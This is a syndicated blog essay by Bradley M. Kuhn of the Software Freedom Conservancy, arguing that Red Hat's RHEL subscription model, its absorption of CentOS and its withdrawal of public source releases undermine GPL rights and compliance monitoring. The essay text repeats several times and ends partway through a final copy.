A Comprehensive Analysis of the GPL Issues With the Red Hat Enterprise Linux (RHEL) Business Model

Post Syndicated from Bradley M. Kuhn original http://ebb.org/bkuhn/blog/2023/06/23/rhel-red-hat-gpl.html

[ This is
a crosspost
from my professional blog at Software Freedom Conservancy
(SFC). I encourage you
to use
that copy of the post as the canonical linkage for this essay — I
crossposted here merely for posterity and to reach a wider
audience. ]

This article was originally published primarily as a response
to IBM’s
Red Hat’s change to no longer publish complete, corresponding source
(CCS) for RHEL and the
prior discontinuation of CentOS Linux (which are related events, as
described below). We hope that this will serve as a comprehensive
document that discusses the history of Red Hat’s RHEL business model,
the related source code provisioning, and the GPL compliance issues with RHEL.

For approximately twenty years, Red Hat (now a fully owned subsidiary of
IBM) has experimented with building a business model for operating system deployment and
distribution that looks, feels, and acts like a proprietary one, but
nonetheless complies with the GPL and other standard copyleft
terms. Software rights activists,
including SFC, have spent decades talking to Red Hat and its
attorneys about how the Red Hat Enterprise Linux (RHEL) business model courts
disaster and is actively unfriendly to
community-oriented Free and Open Source Software (FOSS). These pleadings,
discussions, and encouragements have, as far as we can tell, been heard and
seriously listened to by key members of Red Hat’s legal and OSPO
departments, and even by key C-level executives, but they have ultimately been rejected
and ignored — sometimes even with a “fine, then sue us for GPL
violations” attitude. Activists have found this discussion
frustrating, but kept the nature and tenure of these discussions as an
“open secret” until now because we all had hoped that Red Hat’s behavior
would improve. Recent events show that the behavior has simply gotten worse, and is likely to get even
worse.

What Exactly Is the RHEL Business Model?

The most concise and pithy way to describe RHEL’s business model is:
“if you exercise your rights under the GPL, your money is no good
here”. Specifically, IBM’s Red Hat offers copies of RHEL to its
customers, and each copy comes with a support and automatic-update
subscription contract. As we understand it, this contract
clearly states
that the terms do not intend to contradict any rights to copy, modify,
redistribute and/or reinstall the software as many times and as many places
as the customer likes (see §1.4). Additionally, though, the contract indicates that
if the customer engages in these activities, that Red Hat reserves the
right to cancel that contract and make no further contracts with the
customer for support and update services. In essence, Red Hat requires their customers
to choose between (a) their software freedom and rights, and (b) remaining a Red Hat
customer. In some versions of these contracts that we have reviewed, Red
Hat even reserves the right to “Review” a customer (effectively a BSA-style audit) to examine how
many copies of RHEL are actually installed (see §10) — presumably for the
purpose of Red Hat getting the information they need to decide
whether to “fire” the customer.

Red Hat’s lawyers clearly take the position that this business model complies with the GPL (though we aren’t so sure), on grounds that that nothing in the GPL agreements requires an entity
keep a business relationship with any other entity. They have further argued that such business
relationships can be terminated based on any behaviors — including
exercising rights guaranteed by the GPL agreements. Whether that
analysis is correct is a matter of intense debate, and likely only a court
case that disputed this particular issue would yield a definitive answer
on whether that disagreeable behavior is permitted (or not) under the GPL agreements. Debates continue, even today,
in copyleft expert circles, whether this
model itself violates GPL. There is, however, no doubt that this
provision is not in the spirit of the GPL agreements. The RHEL business
model is unfriendly, captious, capricious, and cringe-worthy.

Furthermore, this RHEL
business model remains, to our knowledge, rather unique in the software
industry. IBM’s Red Hat definitely deserves credit for so carefully
constructing their business model such that it has spent most of the last
two decades in murky territory of “probably not violating the
GPL”.

Does The RHEL Business Model Violate the GPL Agreements?

Perhaps the biggest problem with a murky business model that skirts the
line of GPL compliance is that violations can and do happen — since
even a minor deviation from the business model clearly violates the GPL
agreements. Pre-IBM Red Hat deserves a certain amount of credit, as
SFC is aware of only two documented incidents of GPL violations that have
occurred since 2006 regarding the RHEL business model. We’ve decided to
share some general details of these violations for the purpose of
explaining where this business model can so easily cross the line.

In the first violation, a large Fortune 500 company (which we’ll
call Company A), who both used RHEL internally and also built
public-facing Linux-based products, decided to create a consumer-facing
product (which we’ll call Product P) based primarily on CentOS Linux,
but P included a few packages built from RHEL sources. Company A
did not seek nor ask for support or update services for this separate
Product P. Red Hat later became aware that Product P contained
some part of RHEL, and Red Hat demanded royalty payments for Product
P. Red Hat threatened to revoke the support and update
services on Company A‘s internal RHEL servers if such royalties were
not paid.

Since Company A was powerful and had good lawyers and savvy
business development staff, they did not acquiesce. Company A ultimately
continued (to our knowledge) on as a RHEL customer for their internal
servers and continued selling Product P without royalty payments. Nevertheless, a
demand for royalties for distribution is clearly a violation as that demand creates a
“further restriction” on the permissions granted by GPL. As
stated in GPLv3:

You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License.

Red Hat tried to impose a further restriction in this situation, and therefore
violated the GPL. The violation was resolved since no royalty was paid
and Company A faced no consequences. SFC learned of
the incident later, and informed Red Hat that the past royalty demand was
a violation. Red Hat did not dispute nor agree that it was a violation, and did informally agree
such demands would not be made in future.

In another violation incident, we learned that Red Hat, in a specific
non-USA country, was requiring that any customer who lowered the number of
RHEL machines under service contract with Red Hat sign an
additional agreement. This additional agreement promised that the customer
had deleted every copy of RHEL in their entire organization other than the
copies of RHEL that were currently contracted for service with Red Hat.
Again, this is a “further restriction”. The GPL agreements
give everyone the unfettered right to make and keep as many copies of the
software as they like, and a distributor of GPL’d software may not require
a user to attest that they’ve deleted these legitimate, licensed copies of
third-party-licensed software under the GPL. SFC informed Red Hat’s legal department
of this violation, and we were assured that this additional agreement would no longer
be presented to any Red Hat customers in the future.

In both these situations, we at SFC were worried they were merely a
“tip of the proverbial iceberg”. For years, we have heard from
Red Hat customers who are truly confused. It’s common in the industry to
talk about RHEL “seat licenses”, and many software acquisition
specialists in the industry are not aware of the nuances of the RHEL
business model and do not understand their rights. We remain very
concerned that RHEL salespeople purposely confuse customers to sell more
“seat licenses”. It’s often led us to ask: “If a GPL
violation happens in the woods, and everyone involved doesn’t hear it, how
does anyone know that software rights have indeed been trampled upon in
those woods?”. As we do for as many GPL violation reports as we can, we zealously pursue RHEL-related GPL violations that
are reported to us, and if you’re aware of one, please
do email us at
<[email protected]> immediately. We fear that
be it through incompetence or malice, many RHEL salespeople and business
development professionals may regularly violate GPL and no one knows about
it. That said, the business model as described by IBM’s Red Hat
may well comply with the GPL — it’s just so murky that any tweak to
the model in any direction seems to definitely violate, in our experience.

Furthermore, Red Hat exploits the classic “caveat emptor”
approach — popular in many a shady business deal throughout history. While,
technically speaking, a careful reader of the GPL and the RHEL agreements
understands the bargain they’re making, we suspect most small businesses
just don’t have the FOSS licensing acumen and knowledge to truly understand
that deal.

Why Was an Independent CentOS So Important?

Until Red
Hat’s “aquisition” of CentOS in early 2014, CentOS
provided an excellent counterbalance to the problems with the RHEL
business model. Specifically, CentOS was a community-driven project,
with many volunteers, supported by some involvement from small
businesses, to re-create RHEL releases using the
CCS releases
made for RHEL. Our pre-2014 view was that CentOS was the “canary in
the murky coalmine” of the RHEL business. If CentOS seemed vibrant,
usable, and a viable alternative to RHEL for those who didn’t want to
purchase Red Hat’s updates and services, the community could rest easy.
Even if there were GPL violations by Red Hat on RHEL, CentOS’ vibrancy
assured that such violations were having only a minor negative impact on
the FOSS community around RHEL’s codebase.

Red Hat, however, apparently knew that this vibrant community was cutting
into their profits. Starting in 2013, Red Hat engaged in a series of actions
that increased their grip. First, they “acquired”
CentOS. This was initially couched as a cooperation agreement, but Red Hat
systematically made job offers that key CentOS volunteers couldn’t refuse,
acquired the small businesses who might ultimately build CentOS into a
product, and otherwise integrated CentOS into Red Hat’s own operations.

After IBM acquired Red Hat, the situation got worse. Having gotten rights
to the CentOS brand as part of the “aquisition”, Red Hat slowly
began to change what CentOS was. CentOS Linux quickly ceased to be a
check-and-balance on RHEL, and just became a testing ground for RHEL.
Then, in 2020, when most of us were distracted by the worst of the COVID-19
pandemic, Red Hat unilaterally terminated all CentOS Linux development. Later (during
the Delta variant portion of the pandemic in late 2021) Red Hat ended CentOS Linux entirely.
IBM’s Red Hat
then used the name “CentOS Stream” to refer to experimental
source packages related to RHEL. These were (and are) not actually the RHEL
source releases — rather, they appear to be primarily a testing
ground for what might appear in RHEL later.

Finally, Red Hat announced two days ago
that RHEL
CCS will no longer be publicly available in any way. Now, to be clear, the GPL agreements did not obligate Red Hat to make its
CCS publicly
available to everyone. This is a common misconception about GPL’s
requirements. While the details of CCS provisioning vary in the different
versions of the GPL agreements, the general principle is that CCS need to
be provided either (a) along with the binary distributions to those who
receive, or (b) to those who request pursuant to a written offer for
source. In a normal situation, with no mitigating factors, the fact that
a company moved from distributing CCS publicly to everyone to only giving
it to customers who received the binaries already would not raise
concerns.

In this situation, however, this completes what appears to be a
decade-long plan by Red Hat to maximize the level of difficulty of
those in the community who wish to “trust but verify” that RHEL
complies with the GPL agreements. Namely, Red Hat has badly thwarted
efforts by entities such
as Rocky
Linux
and Alma
Linux. These entities are de-facto the intellectual successors to
CentOS Linux project that Red Hat carefully dismantled over the last decade. These organizations
sought to build Linux-based distributions that mirrored RHEL
releases, and it is now unclear if they can do that effectively, since Red Hat will undoubtedly capriciously refuse to sell them exactly-one RHEL service and update “seat license” at a reasonable price. It appears that, as of this week, one must have at least that to get timely access to RHEL CCS.

What Should Those Who Care About Software Rights Do About RHEL?

Due to this ongoing bad behavior by IBM’s Red Hat, the situation has
become increasingly complex and difficult to face. No third party can
effectively monitor RHEL compliance with the GPL agreements, since
customers live in fear of losing their much-needed service contracts.
Red Hat’s legal department
has systematically refused SFC’s requests in recent years to set up some
form of monitoring by SFC. (For example, we asked to review the training
materials and documents that RHEL salespeople are given to convince
customers to buy RHEL, and Red Hat has not been willing to share these
materials with us.) Nevertheless, since SFC serves as the global watchdog for
GPL compliance, we welcome reports of RHEL-related violations.

We finally express our sadness that this long road has led the FOSS community to such a disappointing place. I
personally remember standing with Erik Troan in a Red Hat booth at a USENIX
conference in the late 1990s, and meeting Bob Young around the same time.
Both expressed how much they wanted to build a company that respected,
collaborated with, engaged with, and most of all treated as equals the wide
spectrum of individuals, hobbyists, and small businesses that make the
plurality of the FOSS community. We hope that the
modern Red Hat can find their way back to this mission under IBM’s control.

A Comprehensive Analysis of the GPL Issues With the Red Hat Enterprise Linux (RHEL) Business Model

Post Syndicated from Bradley M. Kuhn original http://ebb.org/bkuhn/blog/2023/06/23/rhel-red-hat-gpl.html

[ This is
a crosspost
from my professional blog at Software Freedom Conservancy
(SFC). I encourage you
to use
that copy of the post as the canonical linkage for this essay — I
crossposted here merely for posterity and to reach a wider
audience. ]

This article was originally published primarily as a response
to IBM’s
Red Hat’s change to no longer publish complete, corresponding source
(CCS) for RHEL and the
prior discontinuation of CentOS Linux (which are related events, as
described below). We hope that this will serve as a comprehensive
document that discusses the history of Red Hat’s RHEL business model,
the related source code provisioning, and the GPL compliance issues with RHEL.

For approximately twenty years, Red Hat (now a fully owned subsidiary of
IBM) has experimented with building a business model for operating system deployment and
distribution that looks, feels, and acts like a proprietary one, but
nonetheless complies with the GPL and other standard copyleft
terms. Software rights activists,
including SFC, have spent decades talking to Red Hat and its
attorneys about how the Red Hat Enterprise Linux (RHEL) business model courts
disaster and is actively unfriendly to
community-oriented Free and Open Source Software (FOSS). These pleadings,
discussions, and encouragements have, as far as we can tell, been heard and
seriously listened to by key members of Red Hat’s legal and OSPO
departments, and even by key C-level executives, but they have ultimately been rejected
and ignored — sometimes even with a “fine, then sue us for GPL
violations” attitude. Activists have found this discussion
frustrating, but kept the nature and tenure of these discussions as an
“open secret” until now because we all had hoped that Red Hat’s behavior
would improve. Recent events show that the behavior has simply gotten worse, and is likely to get even
worse.

What Exactly Is the RHEL Business Model?

The most concise and pithy way to describe RHEL’s business model is:
“if you exercise your rights under the GPL, your money is no good
here”. Specifically, IBM’s Red Hat offers copies of RHEL to its
customers, and each copy comes with a support and automatic-update
subscription contract. As we understand it, this contract
clearly states
that the terms do not intend to contradict any rights to copy, modify,
redistribute and/or reinstall the software as many times and as many places
as the customer likes (see §1.4). Additionally, though, the contract indicates that
if the customer engages in these activities, that Red Hat reserves the
right to cancel that contract and make no further contracts with the
customer for support and update services. In essence, Red Hat requires their customers
to choose between (a) their software freedom and rights, and (b) remaining a Red Hat
customer. In some versions of these contracts that we have reviewed, Red
Hat even reserves the right to “Review” a customer (effectively a BSA-style audit) to examine how
many copies of RHEL are actually installed (see §10) — presumably for the
purpose of Red Hat getting the information they need to decide
whether to “fire” the customer.

Red Hat’s lawyers clearly take the position that this business model complies with the GPL (though we aren’t so sure), on grounds that that nothing in the GPL agreements requires an entity
keep a business relationship with any other entity. They have further argued that such business
relationships can be terminated based on any behaviors — including
exercising rights guaranteed by the GPL agreements. Whether that
analysis is correct is a matter of intense debate, and likely only a court
case that disputed this particular issue would yield a definitive answer
on whether that disagreeable behavior is permitted (or not) under the GPL agreements. Debates continue, even today,
in copyleft expert circles, whether this
model itself violates GPL. There is, however, no doubt that this
provision is not in the spirit of the GPL agreements. The RHEL business
model is unfriendly, captious, capricious, and cringe-worthy.

Furthermore, this RHEL
business model remains, to our knowledge, rather unique in the software
industry. IBM’s Red Hat definitely deserves credit for so carefully
constructing their business model such that it has spent most of the last
two decades in murky territory of “probably not violating the
GPL”.

Does The RHEL Business Model Violate the GPL Agreements?

Perhaps the biggest problem with a murky business model that skirts the
line of GPL compliance is that violations can and do happen — since
even a minor deviation from the business model clearly violates the GPL
agreements. Pre-IBM Red Hat deserves a certain amount of credit, as
SFC is aware of only two documented incidents of GPL violations that have
occurred since 2006 regarding the RHEL business model. We’ve decided to
share some general details of these violations for the purpose of
explaining where this business model can so easily cross the line.

In the first violation, a large Fortune 500 company (which we’ll
call Company A), who both used RHEL internally and also built
public-facing Linux-based products, decided to create a consumer-facing
product (which we’ll call Product P) based primarily on CentOS Linux,
but P included a few packages built from RHEL sources. Company A
did not seek nor ask for support or update services for this separate
Product P. Red Hat later became aware that Product P contained
some part of RHEL, and Red Hat demanded royalty payments for Product
P. Red Hat threatened to revoke the support and update
services on Company A‘s internal RHEL servers if such royalties were
not paid.

Since Company A was powerful and had good lawyers and savvy
business development staff, they did not acquiesce. Company A ultimately
continued (to our knowledge) on as a RHEL customer for their internal
servers and continued selling Product P without royalty payments. Nevertheless, a
demand for royalties for distribution is clearly a violation as that demand creates a
“further restriction” on the permissions granted by GPL. As
stated in GPLv3:

You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License.

Red Hat tried to impose a further restriction in this situation, and therefore
violated the GPL. The violation was resolved since no royalty was paid
and Company A faced no consequences. SFC learned of
the incident later, and informed Red Hat that the past royalty demand was
a violation. Red Hat did not dispute nor agree that it was a violation, and did informally agree
such demands would not be made in future.

In another violation incident, we learned that Red Hat, in a specific
non-USA country, was requiring that any customer who lowered the number of
RHEL machines under service contract with Red Hat sign an
additional agreement. This additional agreement promised that the customer
had deleted every copy of RHEL in their entire organization other than the
copies of RHEL that were currently contracted for service with Red Hat.
Again, this is a “further restriction”. The GPL agreements
give everyone the unfettered right to make and keep as many copies of the
software as they like, and a distributor of GPL’d software may not require
a user to attest that they’ve deleted these legitimate, licensed copies of
third-party-licensed software under the GPL. SFC informed Red Hat’s legal department
of this violation, and we were assured that this additional agreement would no longer
be presented to any Red Hat customers in the future.

In both these situations, we at SFC were worried they were merely a
“tip of the proverbial iceberg”. For years, we have heard from
Red Hat customers who are truly confused. It’s common in the industry to
talk about RHEL “seat licenses”, and many software acquisition
specialists in the industry are not aware of the nuances of the RHEL
business model and do not understand their rights. We remain very
concerned that RHEL salespeople purposely confuse customers to sell more
“seat licenses”. It’s often led us to ask: “If a GPL
violation happens in the woods, and everyone involved doesn’t hear it, how
does anyone know that software rights have indeed been trampled upon in
those woods?”. As we do for as many GPL violation reports as we can, we zealously pursue RHEL-related GPL violations that
are reported to us, and if you’re aware of one, please
do email us at
<[email protected]> immediately. We fear that
be it through incompetence or malice, many RHEL salespeople and business
development professionals may regularly violate GPL and no one knows about
it. That said, the business model as described by IBM’s Red Hat
may well comply with the GPL — it’s just so murky that any tweak to
the model in any direction seems to definitely violate, in our experience.

Furthermore, Red Hat exploits the classic “caveat emptor”
approach — popular in many a shady business deal throughout history. While,
technically speaking, a careful reader of the GPL and the RHEL agreements
understands the bargain they’re making, we suspect most small businesses
just don’t have the FOSS licensing acumen and knowledge to truly understand
that deal.

Why Was an Independent CentOS So Important?

Until Red
Hat’s “aquisition” of CentOS in early 2014, CentOS
provided an excellent counterbalance to the problems with the RHEL
business model. Specifically, CentOS was a community-driven project,
with many volunteers, supported by some involvement from small
businesses, to re-create RHEL releases using the
CCS releases
made for RHEL. Our pre-2014 view was that CentOS was the “canary in
the murky coalmine” of the RHEL business. If CentOS seemed vibrant,
usable, and a viable alternative to RHEL for those who didn’t want to
purchase Red Hat’s updates and services, the community could rest easy.
Even if there were GPL violations by Red Hat on RHEL, CentOS’ vibrancy
assured that such violations were having only a minor negative impact on
the FOSS community around RHEL’s codebase.

Red Hat, however, apparently knew that this vibrant community was cutting
into their profits. Starting in 2013, Red Hat engaged in a series of actions
that increased their grip. First, they “acquired”
CentOS. This was initially couched as a cooperation agreement, but Red Hat
systematically made job offers that key CentOS volunteers couldn’t refuse,
acquired the small businesses who might ultimately build CentOS into a
product, and otherwise integrated CentOS into Red Hat’s own operations.

After IBM acquired Red Hat, the situation got worse. Having gotten rights
to the CentOS brand as part of the “aquisition”, Red Hat slowly
began to change what CentOS was. CentOS Linux quickly ceased to be a
check-and-balance on RHEL, and just became a testing ground for RHEL.
Then, in 2020, when most of us were distracted by the worst of the COVID-19
pandemic, Red Hat unilaterally terminated all CentOS Linux development. Later (during
the Delta variant portion of the pandemic in late 2021) Red Hat ended CentOS Linux entirely.
IBM’s Red Hat
then used the name “CentOS Stream” to refer to experimental
source packages related to RHEL. These were (and are) not actually the RHEL
source releases — rather, they appear to be primarily a testing
ground for what might appear in RHEL later.

Finally, Red Hat announced two days ago
that RHEL
CCS will no longer be publicly available in any way. Now, to be clear, the GPL agreements did not obligate Red Hat to make its
CCS publicly
available to everyone. This is a common misconception about GPL’s
requirements. While the details of CCS provisioning vary in the different
versions of the GPL agreements, the general principle is that CCS need to
be provided either (a) along with the binary distributions to those who
receive, or (b) to those who request pursuant to a written offer for
source. In a normal situation, with no mitigating factors, the fact that
a company moved from distributing CCS publicly to everyone to only giving
it to customers who received the binaries already would not raise
concerns.

In this situation, however, this completes what appears to be a
decade-long plan by Red Hat to maximize the level of difficulty of
those in the community who wish to “trust but verify” that RHEL
complies with the GPL agreements. Namely, Red Hat has badly thwarted
efforts by entities such
as Rocky
Linux
and Alma
Linux. These entities are de-facto the intellectual successors to
CentOS Linux project that Red Hat carefully dismantled over the last decade. These organizations
sought to build Linux-based distributions that mirrored RHEL
releases, and it is now unclear if they can do that effectively, since Red Hat will undoubtedly capriciously refuse to sell them exactly-one RHEL service and update “seat license” at a reasonable price. It appears that, as of this week, one must have at least that to get timely access to RHEL CCS.

What Should Those Who Care About Software Rights Do About RHEL?

Due to this ongoing bad behavior by IBM’s Red Hat, the situation has
become increasingly complex and difficult to face. No third party can
effectively monitor RHEL compliance with the GPL agreements, since
customers live in fear of losing their much-needed service contracts.
Red Hat’s legal department
has systematically refused SFC’s requests in recent years to set up some
form of monitoring by SFC. (For example, we asked to review the training
materials and documents that RHEL salespeople are given to convince
customers to buy RHEL, and Red Hat has not been willing to share these
materials with us.) Nevertheless, since SFC serves as the global watchdog for
GPL compliance, we welcome reports of RHEL-related violations.

We finally express our sadness that this long road has led the FOSS community to such a disappointing place. I
personally remember standing with Erik Troan in a Red Hat booth at a USENIX
conference in the late 1990s, and meeting Bob Young around the same time.
Both expressed how much they wanted to build a company that respected,
collaborated with, engaged with, and most of all treated as equals the wide
spectrum of individuals, hobbyists, and small businesses that make the
plurality of the FOSS community. We hope that the
modern Red Hat can find their way back to this mission under IBM’s control.

A Comprehensive Analysis of the GPL Issues With the Red Hat Enterprise Linux (RHEL) Business Model

Post Syndicated from Bradley M. Kuhn original http://ebb.org/bkuhn/blog/2023/06/23/rhel-red-hat-gpl.html

[ This is
a crosspost
from my professional blog at Software Freedom Conservancy
(SFC). I encourage you
to use
that copy of the post as the canonical linkage for this essay — I
crossposted here merely for posterity and to reach a wider
audience. ]

This article was originally published primarily as a response
to IBM’s
Red Hat’s change to no longer publish complete, corresponding source
(CCS) for RHEL and the
prior discontinuation of CentOS Linux (which are related events, as
described below). We hope that this will serve as a comprehensive
document that discusses the history of Red Hat’s RHEL business model,
the related source code provisioning, and the GPL compliance issues with RHEL.

For approximately twenty years, Red Hat (now a fully owned subsidiary of
IBM) has experimented with building a business model for operating system deployment and
distribution that looks, feels, and acts like a proprietary one, but
nonetheless complies with the GPL and other standard copyleft
terms. Software rights activists,
including SFC, have spent decades talking to Red Hat and its
attorneys about how the Red Hat Enterprise Linux (RHEL) business model courts
disaster and is actively unfriendly to
community-oriented Free and Open Source Software (FOSS). These pleadings,
discussions, and encouragements have, as far as we can tell, been heard and
seriously listened to by key members of Red Hat’s legal and OSPO
departments, and even by key C-level executives, but they have ultimately been rejected
and ignored — sometimes even with a “fine, then sue us for GPL
violations” attitude. Activists have found this discussion
frustrating, but kept the nature and tenure of these discussions as an
“open secret” until now because we all had hoped that Red Hat’s behavior
would improve. Recent events show that the behavior has simply gotten worse, and is likely to get even
worse.

What Exactly Is the RHEL Business Model?

The most concise and pithy way to describe RHEL’s business model is:
“if you exercise your rights under the GPL, your money is no good
here”. Specifically, IBM’s Red Hat offers copies of RHEL to its
customers, and each copy comes with a support and automatic-update
subscription contract. As we understand it, this contract
clearly states
that the terms do not intend to contradict any rights to copy, modify,
redistribute and/or reinstall the software as many times and as many places
as the customer likes (see §1.4). Additionally, though, the contract indicates that
if the customer engages in these activities, that Red Hat reserves the
right to cancel that contract and make no further contracts with the
customer for support and update services. In essence, Red Hat requires their customers
to choose between (a) their software freedom and rights, and (b) remaining a Red Hat
customer. In some versions of these contracts that we have reviewed, Red
Hat even reserves the right to “Review” a customer (effectively a BSA-style audit) to examine how
many copies of RHEL are actually installed (see §10) — presumably for the
purpose of Red Hat getting the information they need to decide
whether to “fire” the customer.

Red Hat’s lawyers clearly take the position that this business model complies with the GPL (though we aren’t so sure), on grounds that that nothing in the GPL agreements requires an entity
keep a business relationship with any other entity. They have further argued that such business
relationships can be terminated based on any behaviors — including
exercising rights guaranteed by the GPL agreements. Whether that
analysis is correct is a matter of intense debate, and likely only a court
case that disputed this particular issue would yield a definitive answer
on whether that disagreeable behavior is permitted (or not) under the GPL agreements. Debates continue, even today,
in copyleft expert circles, whether this
model itself violates GPL. There is, however, no doubt that this
provision is not in the spirit of the GPL agreements. The RHEL business
model is unfriendly, captious, capricious, and cringe-worthy.

Furthermore, this RHEL
business model remains, to our knowledge, rather unique in the software
industry. IBM’s Red Hat definitely deserves credit for so carefully
constructing their business model such that it has spent most of the last
two decades in murky territory of “probably not violating the
GPL”.

Does The RHEL Business Model Violate the GPL Agreements?

Perhaps the biggest problem with a murky business model that skirts the
line of GPL compliance is that violations can and do happen — since
even a minor deviation from the business model clearly violates the GPL
agreements. Pre-IBM Red Hat deserves a certain amount of credit, as
SFC is aware of only two documented incidents of GPL violations that have
occurred since 2006 regarding the RHEL business model. We’ve decided to
share some general details of these violations for the purpose of
explaining where this business model can so easily cross the line.

In the first violation, a large Fortune 500 company (which we’ll
call Company A), who both used RHEL internally and also built
public-facing Linux-based products, decided to create a consumer-facing
product (which we’ll call Product P) based primarily on CentOS Linux,
but P included a few packages built from RHEL sources. Company A
did not seek nor ask for support or update services for this separate
Product P. Red Hat later became aware that Product P contained
some part of RHEL, and Red Hat demanded royalty payments for Product
P. Red Hat threatened to revoke the support and update
services on Company A‘s internal RHEL servers if such royalties were
not paid.

Since Company A was powerful and had good lawyers and savvy
business development staff, they did not acquiesce. Company A ultimately
continued (to our knowledge) on as a RHEL customer for their internal
servers and continued selling Product P without royalty payments. Nevertheless, a
demand for royalties for distribution is clearly a violation as that demand creates a
“further restriction” on the permissions granted by GPL. As
stated in GPLv3:

You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License.

Red Hat tried to impose a further restriction in this situation, and therefore
violated the GPL. The violation was resolved since no royalty was paid
and Company A faced no consequences. SFC learned of
the incident later, and informed Red Hat that the past royalty demand was
a violation. Red Hat did not dispute nor agree that it was a violation, and did informally agree
such demands would not be made in future.

In another violation incident, we learned that Red Hat, in a specific
non-USA country, was requiring that any customer who lowered the number of
RHEL machines under service contract with Red Hat sign an
additional agreement. This additional agreement promised that the customer
had deleted every copy of RHEL in their entire organization other than the
copies of RHEL that were currently contracted for service with Red Hat.
Again, this is a “further restriction”. The GPL agreements
give everyone the unfettered right to make and keep as many copies of the
software as they like, and a distributor of GPL’d software may not require
a user to attest that they’ve deleted these legitimate, licensed copies of
third-party-licensed software under the GPL. SFC informed Red Hat’s legal department
of this violation, and we were assured that this additional agreement would no longer
be presented to any Red Hat customers in the future.

In both these situations, we at SFC were worried they were merely a
“tip of the proverbial iceberg”. For years, we have heard from
Red Hat customers who are truly confused. It’s common in the industry to
talk about RHEL “seat licenses”, and many software acquisition
specialists in the industry are not aware of the nuances of the RHEL
business model and do not understand their rights. We remain very
concerned that RHEL salespeople purposely confuse customers to sell more
“seat licenses”. It’s often led us to ask: “If a GPL
violation happens in the woods, and everyone involved doesn’t hear it, how
does anyone know that software rights have indeed been trampled upon in
those woods?”. As we do for as many GPL violation reports as we can, we zealously pursue RHEL-related GPL violations that
are reported to us, and if you’re aware of one, please
do email us at
<[email protected]> immediately. We fear that
be it through incompetence or malice, many RHEL salespeople and business
development professionals may regularly violate GPL and no one knows about
it. That said, the business model as described by IBM’s Red Hat
may well comply with the GPL — it’s just so murky that any tweak to
the model in any direction seems to definitely violate, in our experience.

Furthermore, Red Hat exploits the classic “caveat emptor”
approach — popular in many a shady business deal throughout history. While,
technically speaking, a careful reader of the GPL and the RHEL agreements
understands the bargain they’re making, we suspect most small businesses
just don’t have the FOSS licensing acumen and knowledge to truly understand
that deal.

Why Was an Independent CentOS So Important?

Until Red
Hat’s “aquisition” of CentOS in early 2014, CentOS
provided an excellent counterbalance to the problems with the RHEL
business model. Specifically, CentOS was a community-driven project,
with many volunteers, supported by some involvement from small
businesses, to re-create RHEL releases using the
CCS releases
made for RHEL. Our pre-2014 view was that CentOS was the “canary in
the murky coalmine” of the RHEL business. If CentOS seemed vibrant,
usable, and a viable alternative to RHEL for those who didn’t want to
purchase Red Hat’s updates and services, the community could rest easy.
Even if there were GPL violations by Red Hat on RHEL, CentOS’ vibrancy
assured that such violations were having only a minor negative impact on
the FOSS community around RHEL’s codebase.

Red Hat, however, apparently knew that this vibrant community was cutting
into their profits. Starting in 2013, Red Hat engaged in a series of actions
that increased their grip. First, they “acquired”
CentOS. This was initially couched as a cooperation agreement, but Red Hat
systematically made job offers that key CentOS volunteers couldn’t refuse,
acquired the small businesses who might ultimately build CentOS into a
product, and otherwise integrated CentOS into Red Hat’s own operations.

After IBM acquired Red Hat, the situation got worse. Having gotten rights
to the CentOS brand as part of the “aquisition”, Red Hat slowly
began to change what CentOS was. CentOS Linux quickly ceased to be a
check-and-balance on RHEL, and just became a testing ground for RHEL.
Then, in 2020, when most of us were distracted by the worst of the COVID-19
pandemic, Red Hat unilaterally terminated all CentOS Linux development. Later (during
the Delta variant portion of the pandemic in late 2021) Red Hat ended CentOS Linux entirely.
IBM’s Red Hat
then used the name “CentOS Stream” to refer to experimental
source packages related to RHEL. These were (and are) not actually the RHEL
source releases — rather, they appear to be primarily a testing
ground for what might appear in RHEL later.

Finally, Red Hat announced two days ago
that RHEL
CCS will no longer be publicly available in any way. Now, to be clear, the GPL agreements did not obligate Red Hat to make its
CCS publicly
available to everyone. This is a common misconception about GPL’s
requirements. While the details of CCS provisioning vary in the different
versions of the GPL agreements, the general principle is that CCS need to
be provided either (a) along with the binary distributions to those who
receive, or (b) to those who request pursuant to a written offer for
source. In a normal situation, with no mitigating factors, the fact that
a company moved from distributing CCS publicly to everyone to only giving
it to customers who received the binaries already would not raise
concerns.

In this situation, however, this completes what appears to be a
decade-long plan by Red Hat to maximize the level of difficulty of
those in the community who wish to “trust but verify” that RHEL
complies with the GPL agreements. Namely, Red Hat has badly thwarted
efforts by entities such
as Rocky
Linux
and Alma
Linux. These entities are de-facto the intellectual successors to
CentOS Linux project that Red Hat carefully dismantled over the last decade. These organizations
sought to build Linux-based distributions that mirrored RHEL
releases, and it is now unclear if they can do that effectively, since Red Hat will undoubtedly capriciously refuse to sell them exactly-one RHEL service and update “seat license” at a reasonable price. It appears that, as of this week, one must have at least that to get timely access to RHEL CCS.

What Should Those Who Care About Software Rights Do About RHEL?

Due to this ongoing bad behavior by IBM’s Red Hat, the situation has
become increasingly complex and difficult to face. No third party can
effectively monitor RHEL compliance with the GPL agreements, since
customers live in fear of losing their much-needed service contracts.
Red Hat’s legal department
has systematically refused SFC’s requests in recent years to set up some
form of monitoring by SFC. (For example, we asked to review the training
materials and documents that RHEL salespeople are given to convince
customers to buy RHEL, and Red Hat has not been willing to share these
materials with us.) Nevertheless, since SFC serves as the global watchdog for
GPL compliance, we welcome reports of RHEL-related violations.

We finally express our sadness that this long road has led the FOSS community to such a disappointing place. I
personally remember standing with Erik Troan in a Red Hat booth at a USENIX
conference in the late 1990s, and meeting Bob Young around the same time.
Both expressed how much they wanted to build a company that respected,
collaborated with, engaged with, and most of all treated as equals the wide
spectrum of individuals, hobbyists, and small businesses that make the
plurality of the FOSS community. We hope that the
modern Red Hat can find their way back to this mission under IBM’s control.

A Comprehensive Analysis of the GPL Issues With the Red Hat Enterprise Linux (RHEL) Business Model

Post Syndicated from Bradley M. Kuhn original http://ebb.org/bkuhn/blog/2023/06/23/rhel-red-hat-gpl.html

[ This is
a crosspost
from my professional blog at Software Freedom Conservancy
(SFC). I encourage you
to use
that copy of the post as the canonical linkage for this essay — I
crossposted here merely for posterity and to reach a wider
audience. ]

This article was originally published primarily as a response
to IBM’s
